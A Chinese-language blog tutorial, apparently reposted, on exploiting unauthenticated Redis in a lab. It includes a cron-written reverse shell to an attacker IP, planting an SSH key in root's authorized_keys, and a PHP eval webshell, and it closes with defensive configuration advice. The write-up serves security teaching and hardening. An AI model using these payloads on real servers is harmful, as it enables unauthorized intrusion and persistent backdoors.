未授权访问漏洞原理及复现
本文转自行云博客https://www.xy586.top/
文章目录
- 未授权访问
- 前提知识
- ssh免密登录
- 客户端
- 服务端
- 安装Redis数据库
- Redis语法
- 原理
- 攻击复现
- 利用计划任务执行命令反弹shell
- 写ssh-keygen公钥然后使用私钥登陆
- 往web物理路径写webshell
- 防御方法
未授权访问
前提知识
ssh免密登录
客户端
进入.ssh文件cd .ssh/
生成公私钥ssh-keygen -t rsa
上传公钥到服务端 ssh-copy-id user@ip
更改.ssh目录跟私钥的权限
chmod 700 .ssh/
chmod 600 .ssh/id_rsa
服务端
进入.ssh/文件,查看authorized_keys文件是否与客户端的id_rsa.pub文件一致
更改authorized_keys文件权限
chmod 600 .ssh/authorized_keys
安装Redis数据库
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
centos7.x安装redis数据库
yum install -y gcc wgetwget http://download.redis.io/releases/redis-3.2.0.tar.gz #安装tar xzf redis-3.2.0.tar.gz #解压cd redis-3.2.0 #进入目录make #编译cd src && cp redis-server /usr/bin && cp redis-cli /usr/bin #将命令移动到用户命令下cp redis-conf /etc/ #将改配置文件移动到/etc目录下vim /etc/redis-conf #修改配合文件,使其可以远程访问
bind 127.0.0.1前面加上#号
protected-mode设为noredis-server redis-conf #启动redis服务默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件
Redis语法
连接redis:
redis-cli -h 192.168.232.133
查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.232.133:6379>info
将变量x的值设为test:
192.168.232.133:6379>set x "test"
是把整个redis数据库删除,一般情况下不要用!!!
192.168.232.133:6379>flushall
查看所有键:
192.168.232.133:6379>KEYS *
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.232.133:6379>CONFIG GET dir
192.168.232.133:6379>CONFIG GET dbfilenameconfig set 动态调整Redis服务器的配置
原理
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。 部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。
攻击复现
靶机(centos):192.168.232.133
攻击机(kali):192.168.232.131
利用计划任务执行命令反弹shell
在redis以root权限运行时可以写crontab来执行命令反弹shell
先攻击机上监听2333端口
nc -lvvp 2333
然后再开一个攻击机的会话,连接redis执行payload
config set dir /var/spool/cron/
config set dbfilename root
set x "\n* * * * * bash -i >& /dev/tcp/192.168.232.131/2333 0>&1\n"
save
此方法获取的shell似乎缺少了很多东西
写ssh-keygen公钥然后使用私钥登陆
利用条件
redis对外开放,且是未授权访问状态
redis服务ssh对外开放,可以通过密钥登入
ssh-keygen -t rsa #创建密钥
cat .ssh/id_rsa.pub#输出密钥文件
kali连接Redis服务器并将密钥发送到靶机
config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCqj2vwiHfdeMp64uHUFoJ0xhnblfS4s+CbrkCgkQ3nCiTOYL6Y62W7ipuObngJO3lP6GnSacF/NDxBDKEAzLYjFhN7S4fs/sJKqZNP9feIdGSRCpgpAj072IUxqmBIWu4Yz6inzhbmStLFxIJ4oO3/3/20qnRMIlmZRzOeHKcWbd99pM+99k15p9ONDHmpFKBZILtumzJODbq32UyWkrfN7L6n/OuxB5IHv82eIJ0ZATxEJIK5QAjww3qGndMOmj8oMxPh5DXndtrEmLYeJslv9xioAdzvjzsqybaMnwSUlDJOuEuu8vf8Ad9vsaypNDlMvTlO73xCxTJvCcOA/dFCo1wobURjOIv+YjKjaGqezNWtRs0YbqV4cjCSlaEaUdtso+wAa2VnqyNueFvFWHnhXr8TnItkOR0300oaJlFVvCDISuYepr1EQMgoskkBURcQnKJBrTjOkJdijLwoIk0DJN0SXCI+4Y1yfdJ3FfRY8do0Q4cVDRVS+GGqwsjK0UU= root@kali\n\n\n"
save
往web物理路径写webshell
利用条件
目标机关闭了只能本机访问
目标机开启了web服务,知道web的路径以及具有写权限
config set dir /var/www/html
config set dbfilename webshell.php
set x "<?php @eval($_POST['cmd'])?>"
save
访问http://192.168.232.133/webshell.php
,有回显,此时用蚁剑连接
查看靶机的网站目录也发现了该木马文件
防御方法
到redis安装目录下,配置redis.conf文件:
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码
修改 redis.conf 文件,添加 requirepass mypasswd
3、在需要对外开放的时候修改默认端口(端口不重复就可以)
port 2344
4、以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
5、最后还可以配合iptables限制开放
未授权访问漏洞原理及复现相关推荐
- JBoss未授权访问漏洞Getshell过程复现
文章目录 前言 漏洞复现 漏洞描述 靶场搭建 漏洞利用 防御手段 Jexboss脚本 前言 在 2021 年第五届强网杯全国网络安全挑战赛的 EasyWeb 赛题中遇到了 JBoss 未授权访问漏洞 ...
- redis未授权访问漏洞环境搭建复现-ssh免密登录
首先,安装redis 我是直接sudo apt-get redis 安装的 然后启动redis 直接找到/usr/bin目录下的redis-server和redis-cli 测试连接成功 因为我是腾讯 ...
- Redis未授权访问漏洞详细版
Redis未授权访问漏洞 Redis未授权访问漏洞原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...
- 漏洞检测与防御:Redis未授权访问漏洞复现
漏洞检测与防御:Redis未授权访问漏洞复现 1. 未授权访问漏洞 未授权访问漏洞可以理解为安全配置.权限认证.授权页面存在缺陷,导致其他用户可以直接访问,从而引发权限可被操作,数据库.网站目录等敏感 ...
- Redis未授权访问漏洞复现
Redis介绍 redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sor ...
- Druid未授权访问 漏洞复现
为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓ 01 漏洞描述 02 利用方式 03 修复方案 01 漏洞描述 Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池.Druid提供的监控 ...
- 漏洞复现 - - - 未授权访问漏洞Redis
目录 一,未授权访问漏洞概述 二,常见的未授权访问漏洞 Redis历史漏洞 三,Redis未授权访问 漏洞信息 Redis 简介 四,环境搭建 漏洞环境搭建 五,漏洞利用方法 实验环境 方法一 编辑 ...
- PHP-FPM Fastcgi 未授权访问漏洞(端口9000)
漏洞原理 Fastcgi Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道.HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组 ...
- 常见未授权访问漏洞详解
参考文章1:二十八种未授权访问漏洞合集(CSDN) 参考文章2:28种未授权访问漏洞(知乎) 参考文章3:未授权访问漏洞总结(freebuf) 参考文章4:常见未授权访问漏洞总结(先知社区) 文章目录 ...
最新文章
- [转]一张图理解prototype、proto和constructor的三角关系
- hadoop common 与 servlet 3冲突
- gpu处理信号_GPU中的并行运算,加速你的Matlab程序
- apache启用gzip压缩方法
- 设计模式之禅之设计模式-组合模式
- PHP高级教程-高级过滤器
- 安装了opencv,怎么一直报错:找不到CAP_PROP_FRAME_COUNT
- 它!5 年代替狂卷的 CNN!
- 数据结构算法书籍推荐
- R语言聚类分析可视化
- medusa--暴力破解
- 释放数据价值的真正法宝,数据要素市场化开发迫在眉睫
- 阿里IOT用AMQP在服务端订阅消息,踩坑
- 印象笔记 Markdown使用指南
- 微信图片怎样在pc 端打开查看并导出
- 解决无法使用IMAP将Gmail帐户添加到Outlook的问题
- android asyc异步获取网络图片为bitmap,异步之AsyncTask(一)
- Elasticsearch和solr之我为什么选择solr
- 阿里云物联网平台场景体验-阿里云开发者社区
- 网上跳蚤市场网站系统HTML5+Vue+nodejs
热门文章
- Pfam数据库转移至InterPro数据库导致HMMER模型下载不能用
- ubuntu18.04安装与更新NVIDIA驱动
- python编码问题无法复现_彻底解决Python编码问题
- 运维工程师应该具备的技能(转载)
- matlab倒谱法基音周期,语音学习笔记1------matlab实现自相关函数法基音周期提取...
- 使用python进行基音周期的计算
- Applied Cryptography:chapter 11 数学背景
- java导出excel带上进度条_导出数据至Excel前台js进度条不能隐藏
- php msvcr110,msvcr110.dll丢失的解决方法是什么
- 快看这里,豆瓣9.0的Python爬虫宝藏书籍,自学爬虫必备~